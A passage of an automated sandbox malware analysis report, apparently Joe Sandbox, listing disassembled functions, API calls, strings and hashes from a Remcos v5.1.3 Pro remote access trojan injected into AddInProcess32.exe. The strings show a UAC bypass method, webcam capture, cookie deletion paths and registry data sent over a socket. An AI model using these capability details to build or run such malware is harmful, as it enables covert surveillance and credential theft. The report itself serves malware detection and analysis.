                                                        • RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413AF7
                                                        • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413B26
                                                        • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710,?,?,?,?,?,?,?,?), ref: 00413BC6
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Enum$InfoQueryValue
                                                        • String ID: [regsplt]$xUG$TG
                                                        • API String ID: 3554306468-1165877943
                                                        • Opcode ID: 0915e5250acf3bea082794a31251f109dca26ef8e60840e512c7265f34e5d9a1
                                                        • Instruction ID: 25111a67c66830bda9a991cbd11294aa9b1843c944dfd5f4caafe5fa1545c2ae
                                                        • Opcode Fuzzy Hash: 0915e5250acf3bea082794a31251f109dca26ef8e60840e512c7265f34e5d9a1
                                                        • Instruction Fuzzy Hash: 05512D71900219AADB11EB95DC86EEEB77DAF04305F10007AE505B6191EF746B48CBA9
                                                        Function 00413D48 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,?), ref: 00413D81
                                                          • Part of subcall function 00413A90: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413AF7
                                                          • Part of subcall function 00413A90: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413B26
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        • RegCloseKey.ADVAPI32(00000000,004660B4,004660B4,00466478,00466478,00000071), ref: 00413EEF
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseEnumInfoOpenQuerysend
                                                        • String ID: xUG$NG$NG$TG
                                                        • API String ID: 3114080316-2811732169
                                                        • Opcode ID: 7a7e2ed596e912e6ef42e947eeb9eb1de9ee6fb09b7a4cfd1d5d0db7cb7d7a08
                                                        • Instruction ID: 39136fa66a1b3d14a29046baa0c8a2124f92290552efa608aac098e6c3039c27
                                                        • Opcode Fuzzy Hash: 7a7e2ed596e912e6ef42e947eeb9eb1de9ee6fb09b7a4cfd1d5d0db7cb7d7a08
                                                        • Instruction Fuzzy Hash: 03419F316042005AC324F726D852AEF76A99FD1384F40883FF549671D2EF7C5949866E
                                                        Function 004511AC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • MultiByteToWideChar.KERNEL32(?,00000000,000000FF,?,00000000,00000000,0043F918,?,00000000,?,00000001,?,000000FF,00000001,0043F918,?), ref: 004511F9
                                                        • __alloca_probe_16.LIBCMT ref: 00451231
                                                        • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00451282
                                                        • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00451294
                                                        • __freea.LIBCMT ref: 0045129D
                                                          • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435349,?,?,004388C7,?,?,00000000,00476B50,?,0040DE9D,00435349,?,?,?,?), ref: 004461EA
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
                                                        • String ID: PkGNG
                                                        • API String ID: 313313983-263838557
                                                        • Opcode ID: 9f5a2a67851111230ceb537eb1b7ccf29ba8faad681cfee17df3cfbc13bcf043
                                                        • Instruction ID: f723c28c07ecd650b398e20bb728631ced1c531215915adb10fa1f31571a6cea
                                                        • Opcode Fuzzy Hash: 9f5a2a67851111230ceb537eb1b7ccf29ba8faad681cfee17df3cfbc13bcf043
                                                        • Instruction Fuzzy Hash: F7310331A0020AABDF249F65DC41EAF7BA5EB04701F0445AAFC08E72A2E739CC55CB94
                                                        Function 0041B71B Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00413656: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?,004750E4), ref: 00413678
                                                          • Part of subcall function 00413656: RegQueryValueExW.ADVAPI32(?,0040F34E,00000000,00000000,?,00000400), ref: 00413697
                                                          • Part of subcall function 00413656: RegCloseKey.ADVAPI32(?), ref: 004136A0
                                                          • Part of subcall function 0041C048: GetCurrentProcess.KERNEL32(?,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C059
                                                        • _wcslen.LIBCMT ref: 0041B7F4
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                                        • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                                                        • API String ID: 37874593-122982132
                                                        • Opcode ID: 6e4530202917b19cbbea06c57cde587f82f9719f354b1f28db5066e5f2e92548
                                                        • Instruction ID: 00334f857bbe6022557327a28fa8f115e820bd32ca6b34e50ab8c41aa79dd428
                                                        • Opcode Fuzzy Hash: 6e4530202917b19cbbea06c57cde587f82f9719f354b1f28db5066e5f2e92548
                                                        • Instruction Fuzzy Hash: 42218872A001046BDB14BAB59CD6AFE766D9B48728F10043FF505B72C3EE3C9D49426D
                                                        Function 0040BF24 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 004135E1: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 00413605
                                                          • Part of subcall function 004135E1: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,00000400), ref: 00413622
                                                          • Part of subcall function 004135E1: RegCloseKey.ADVAPI32(?), ref: 0041362D
                                                        • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BFA6
                                                        • PathFileExistsA.SHLWAPI(?), ref: 0040BFB3
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                                        • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                                        • API String ID: 1133728706-4073444585
                                                        • Opcode ID: b06b8fc2cb4d0c20ff9a3989f2efe758744c2eb59fc0991c33ed663883f7d139
                                                        • Instruction ID: a06d8339010b4a31413dea3cf8b7af81beee50618fccc2c871009a62ab4f9f33
                                                        • Opcode Fuzzy Hash: b06b8fc2cb4d0c20ff9a3989f2efe758744c2eb59fc0991c33ed663883f7d139
                                                        • Instruction Fuzzy Hash: BC215230A40219A6CB14F7F1CC969EE77299F50744F80017FE502B71D1EB7D6945C6DA
                                                        Function 00456BD3 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 6348a53403ba44e76667cab5d3d4b8c4f90ca5e92cff7b4211fa09d26e343de5
                                                        • Instruction ID: d4e598e7927038c57750db0ba161657e9615562456f8c919f0676739ef068bdb
                                                        • Opcode Fuzzy Hash: 6348a53403ba44e76667cab5d3d4b8c4f90ca5e92cff7b4211fa09d26e343de5
                                                        • Instruction Fuzzy Hash: 931127B2504214BBEB216F768C05D1F7A5CEB86726B52062EFD55C7292DA3CCC0186A8
                                                        Function 00450F7A Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00450CC1: _free.LIBCMT ref: 00450CEA
                                                        • _free.LIBCMT ref: 00450FC8
                                                          • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?), ref: 00446818
                                                          • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                        • _free.LIBCMT ref: 00450FD3
                                                        • _free.LIBCMT ref: 00450FDE
                                                        • _free.LIBCMT ref: 00451032
                                                        • _free.LIBCMT ref: 0045103D
                                                        • _free.LIBCMT ref: 00451048
                                                        • _free.LIBCMT ref: 00451053
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$ErrorFreeHeapLast
                                                        • String ID:
                                                        • API String ID: 776569668-0
                                                        • Opcode ID: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                                        • Instruction ID: 345e916fd15b447c36d88a7a8914fd19e4c3e0710e9d23c2e9f19f8556552687
                                                        • Opcode Fuzzy Hash: 5e629f50e4f6999c0b477f1519b6f3e41be6fc4275a29973627e91760813f884
                                                        • Instruction Fuzzy Hash: C111D231402704AAE621BB72CC03FCB779CAF03304F454D2EBEA967153C7ACB4185654
                                                        Function 0041119E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • std::_Lockit::_Lockit.LIBCPMT ref: 004111AB
                                                        • int.LIBCPMT ref: 004111BE
                                                          • Part of subcall function 0040E0FC: std::_Lockit::_Lockit.LIBCPMT ref: 0040E10D
                                                          • Part of subcall function 0040E0FC: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E127
                                                        • std::_Facet_Register.LIBCPMT ref: 004111FE
                                                        • std::_Lockit::~_Lockit.LIBCPMT ref: 00411207
                                                        • __CxxThrowException@8.LIBVCRUNTIME ref: 00411225
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                                        • String ID: (mG
                                                        • API String ID: 2536120697-4059303827
                                                        • Opcode ID: 4fb09889b2dc78d6b9bc341806ed1c893def47308d87ec9f5bd5aa626124b671
                                                        • Instruction ID: b4facbf35e110c19f3eede998f69f9310dce987b63f856d60fe44c7d5fb17b17
                                                        • Opcode Fuzzy Hash: 4fb09889b2dc78d6b9bc341806ed1c893def47308d87ec9f5bd5aa626124b671
                                                        • Instruction Fuzzy Hash: 42112732900114A7CB14EB9AD8018DEB7699F44364F11456FF904F72E1DB789E45CBC8
                                                        Function 0041B354 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0041C048: GetCurrentProcess.KERNEL32(?,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C059
                                                          • Part of subcall function 004135E1: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 00413605
                                                          • Part of subcall function 004135E1: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,00000400), ref: 00413622
                                                          • Part of subcall function 004135E1: RegCloseKey.ADVAPI32(?), ref: 0041362D
                                                        • StrToIntA.SHLWAPI(00000000,0046CA08,00000000,00000000,00000000,004750E4,00000003,Exe,00000000,0000000E,00000000,004660CC,00000003,00000000), ref: 0041B3CD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseCurrentOpenProcessQueryValue
                                                        • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                                        • API String ID: 1866151309-2070987746
                                                        • Opcode ID: 45c7c547461d0a90286b768378f5d74aead19740937584a5a1a9110f100f8656
                                                        • Instruction ID: f33cb4008a08c387480eb48f471200dcc92f04aa72c22424ac0a9b44a4c1d04d
                                                        • Opcode Fuzzy Hash: 45c7c547461d0a90286b768378f5d74aead19740937584a5a1a9110f100f8656
                                                        • Instruction Fuzzy Hash: 8811C47064014926C704B7658C97EFE76198790344F94413BF806A61D3FB6C598683EE
                                                        Function 0043A3DA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLastError.KERNEL32(?,?,0043A3D1,0043933E), ref: 0043A3E8
                                                        • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A3F6
                                                        • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A40F
                                                        • SetLastError.KERNEL32(00000000,?,0043A3D1,0043933E), ref: 0043A461
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLastValue___vcrt_
                                                        • String ID:
                                                        • API String ID: 3852720340-0
                                                        • Opcode ID: f8b088146f32705476b05de113eddff258cc1bfa1c523dc592fb57b9cb9462fc
                                                        • Instruction ID: 228fd8bb196f6ae1284969ba5442ea73dc67404c1df350b3d70410c0baad6fb0
                                                        • Opcode Fuzzy Hash: f8b088146f32705476b05de113eddff258cc1bfa1c523dc592fb57b9cb9462fc
                                                        • Instruction Fuzzy Hash: 87019C322483515EA61027797C8A62B2648EB293B9F30523FF518805F1EF984C90910D
                                                        Function 004075EB Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CoInitializeEx.OLE32(00000000,00000002,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe), ref: 0040760B
                                                          • Part of subcall function 00407538: _wcslen.LIBCMT ref: 0040755C
                                                          • Part of subcall function 00407538: CoGetObject.OLE32(?,00000024,00466528,00000000), ref: 004075BD
                                                        • CoUninitialize.OLE32 ref: 00407664
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: InitializeObjectUninitialize_wcslen
                                                        • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                                        • API String ID: 3851391207-3324213274
                                                        • Opcode ID: d877cea0863f9d3afa12868748af2f8600b5022738d517222c004e226c4c5a05
                                                        • Instruction ID: e4e7d1672fbddd81374e29e92f863be8f9bad83f72bb7a306ddb251afa86686e
                                                        • Opcode Fuzzy Hash: d877cea0863f9d3afa12868748af2f8600b5022738d517222c004e226c4c5a05
                                                        • Instruction Fuzzy Hash: 4501D272B087116BE2246B65DC4AF6B3748DB41B25F11053FF901A62C1EAB9FC0146AB
                                                        Function 0040BADC Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BB18
                                                        • GetLastError.KERNEL32 ref: 0040BB22
                                                        Strings
                                                        • [Chrome Cookies not found], xrefs: 0040BB3C
                                                        • UserProfile, xrefs: 0040BAE8
                                                        • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAE3
                                                        • [Chrome Cookies found, cleared!], xrefs: 0040BB48
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: DeleteErrorFileLast
                                                        • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                                        • API String ID: 2018770650-304995407
                                                        • Opcode ID: d4592947abf79dc324386ffcaf4b9b591dee499912662422a1d7ea612805fe04
                                                        • Instruction ID: 5dee569c6883bfd73109a670bb68234af0f28e4caad238985ba957b2c74b96e7
                                                        • Opcode Fuzzy Hash: d4592947abf79dc324386ffcaf4b9b591dee499912662422a1d7ea612805fe04
                                                        • Instruction Fuzzy Hash: 5B01DF71A402055BCA04B7B6CC1B9BE7B24E922704B50017FF502726D6FE3E5D0986CE
                                                        Function 0041CE2C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 48memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • AllocConsole.KERNEL32(00475338), ref: 0041CE35
                                                        • ShowWindow.USER32(00000000,00000000), ref: 0041CE4E
                                                        • SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CE73
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Console$AllocOutputShowWindow
                                                        • String ID: Remcos v$5.1.3 Pro$CONOUT$
                                                        • API String ID: 2425139147-2212855755
                                                        • Opcode ID: bb520a2f19826cc6a1c283625bbcfbf44085728638f029a4a140c4eec348b460
                                                        • Instruction ID: 6efa3de70d430de9448838496adf33c47162c0890a3ad1875f095e209401f165
                                                        • Opcode Fuzzy Hash: bb520a2f19826cc6a1c283625bbcfbf44085728638f029a4a140c4eec348b460
                                                        • Instruction Fuzzy Hash: A90144B1A80304BBD610F7F19C8BF9E77AC9B14B05F500527BA04A70D2EB6DD944466E
                                                        Function 004433DA Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,PkGNG,0044338B,00000003,PkGNG,0044332B,00000003,0046E958,0000000C,00443482,00000003,00000002), ref: 004433FA
                                                        • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0044340D
                                                        • FreeLibrary.KERNEL32(00000000,?,?,PkGNG,0044338B,00000003,PkGNG,0044332B,00000003,0046E958,0000000C,00443482,00000003,00000002,00000000,PkGNG), ref: 00443430
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressFreeHandleLibraryModuleProc
                                                        • String ID: CorExitProcess$PkGNG$mscoree.dll
                                                        • API String ID: 4061214504-213444651
                                                        • Opcode ID: ffd65e2a986ef432bd98aae630379cdfc9b477bc787d361fad657d5437817096
                                                        • Instruction ID: d7bd46dfab834bb5d48edea7818df211002af85bf4a2e706b61bd78119be3437
                                                        • Opcode Fuzzy Hash: ffd65e2a986ef432bd98aae630379cdfc9b477bc787d361fad657d5437817096
                                                        • Instruction Fuzzy Hash: 4EF04931900208FBDB159F65DC45B9EBF74EF04753F0040A5F805A2251DB758E40CA99
                                                        Function 0041AE51 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 0041AE83
                                                        • PlaySoundW.WINMM(00000000,00000000), ref: 0041AE91
                                                        • Sleep.KERNEL32(00002710), ref: 0041AE98
                                                        • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 0041AEA1
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: PlaySound$HandleLocalModuleSleepTime
                                                        • String ID: Alarm triggered$`#v
                                                        • API String ID: 614609389-3049340936
                                                        • Opcode ID: fc1dfc3d80636db02bd80d67f349f84282c1adb2487fd06cf6dad27e320cdf65
                                                        • Instruction ID: 264e31dd7f8ae4a58c3cd97330858728e5483d82e525179ed11d996d756d41c5
                                                        • Opcode Fuzzy Hash: fc1dfc3d80636db02bd80d67f349f84282c1adb2487fd06cf6dad27e320cdf65
                                                        • Instruction Fuzzy Hash: 3EE0D826A40220779A10337B6D0FD6F3D29CAC3B2570100BFFA05660C2DD540C01C6FB
                                                        Function 0043AB5C Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __allrem.LIBCMT ref: 0043ACE9
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AD05
                                                        • __allrem.LIBCMT ref: 0043AD1C
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AD3A
                                                        • __allrem.LIBCMT ref: 0043AD51
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AD6F
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                                        • String ID:
                                                        • API String ID: 1992179935-0
                                                        • Opcode ID: 3b7debe300bd30616e6d17b60b5e1d5511deed8aaa3e59a787e888dcedb96ab2
                                                        • Instruction ID: c7cd181284538591ee8af1586cca3d38175ba7b34bac8e5aa56d350f01832762
                                                        • Opcode Fuzzy Hash: 3b7debe300bd30616e6d17b60b5e1d5511deed8aaa3e59a787e888dcedb96ab2
                                                        • Instruction Fuzzy Hash: 5F815972A40B05ABE7209F29CC41B6FB3A99F48324F24152FF591D67C1E77CE910875A
                                                        Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • Sleep.KERNEL32(00000000,?), ref: 004044C4
                                                          • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: H_prologSleep
                                                        • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                                                        • API String ID: 3469354165-3054508432
                                                        • Opcode ID: 320c67068b3b288db2e993e88ff11ad854d39230f6bbd9045a2096c25c2dffa0
                                                        • Instruction ID: df1e58e957a7578ae16e417911435538e3341edc64810737793f4aa4f8849b6c
                                                        • Opcode Fuzzy Hash: 320c67068b3b288db2e993e88ff11ad854d39230f6bbd9045a2096c25c2dffa0
                                                        • Instruction Fuzzy Hash: A751E171A042106BCA14FB369D0A66E3755ABC4748F00443FFA0A676E2DF7D8E45839E
                                                        Function 00411D39 Relevance: 9.2, APIs: 6, Instructions: 206memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 004117D7: SetLastError.KERNEL32(0000000D,00411D57,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00411D35), ref: 004117DD
                                                        • SetLastError.KERNEL32(000000C1,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00411D35), ref: 00411D72
                                                        • GetNativeSystemInfo.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00411D35), ref: 00411DE0
                                                        • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,?,?,00000000), ref: 00411E04
                                                          • Part of subcall function 00411CDE: VirtualAlloc.KERNEL32(00000040,00000040,00000040,00000040,00411E22,?,00000000,00003000,00000040,00000000,?,00000000), ref: 00411CEE
                                                        • GetProcessHeap.KERNEL32(00000008,00000040,?,?,?,?,00000000), ref: 00411E4B
                                                        • HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000), ref: 00411E52
                                                        • SetLastError.KERNEL32(0000045A,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411F65
                                                          • Part of subcall function 004120B2: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00411F72,?,?,?,?,00000000), ref: 00412122
                                                          • Part of subcall function 004120B2: HeapFree.KERNEL32(00000000,?,?,?,?,00000000), ref: 00412129
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorHeapLast$AllocProcess$FreeInfoNativeSystemVirtual
                                                        • String ID:
                                                        • API String ID: 3950776272-0
                                                        • Opcode ID: 0997a6c101f2dd0e8850336bac1793923a5345a50e97098554ef69f44a303648
                                                        • Instruction ID: da58ab861bd0a84ec3871346ef31e8b8814b9d9500880b3a3e1890ad13292c25
                                                        • Opcode Fuzzy Hash: 0997a6c101f2dd0e8850336bac1793923a5345a50e97098554ef69f44a303648
                                                        • Instruction Fuzzy Hash: F761A270700611ABCB209F66C981BAA7BA5AF44704F14411AFF05877A2D77CE8C2CBD9
                                                        Function 0044597A Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: __cftoe
                                                        • String ID:
                                                        • API String ID: 4189289331-0
                                                        • Opcode ID: dfe269b3e7c89c95b27fedd159a696e88b5656ec827068c0169833f59e794ee9
                                                        • Instruction ID: b93b8478136607885b926496a305f1bfb884a7f6acf724e610c81469f19cb9e5
                                                        • Opcode Fuzzy Hash: dfe269b3e7c89c95b27fedd159a696e88b5656ec827068c0169833f59e794ee9
                                                        • Instruction Fuzzy Hash: 2551FD72500605ABFF209B598C81EAF77A8EF45334F25421FF915A6293DB3DD900C66D
                                                        Function 0041AD09 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,0041A41F,00000000), ref: 0041AD19
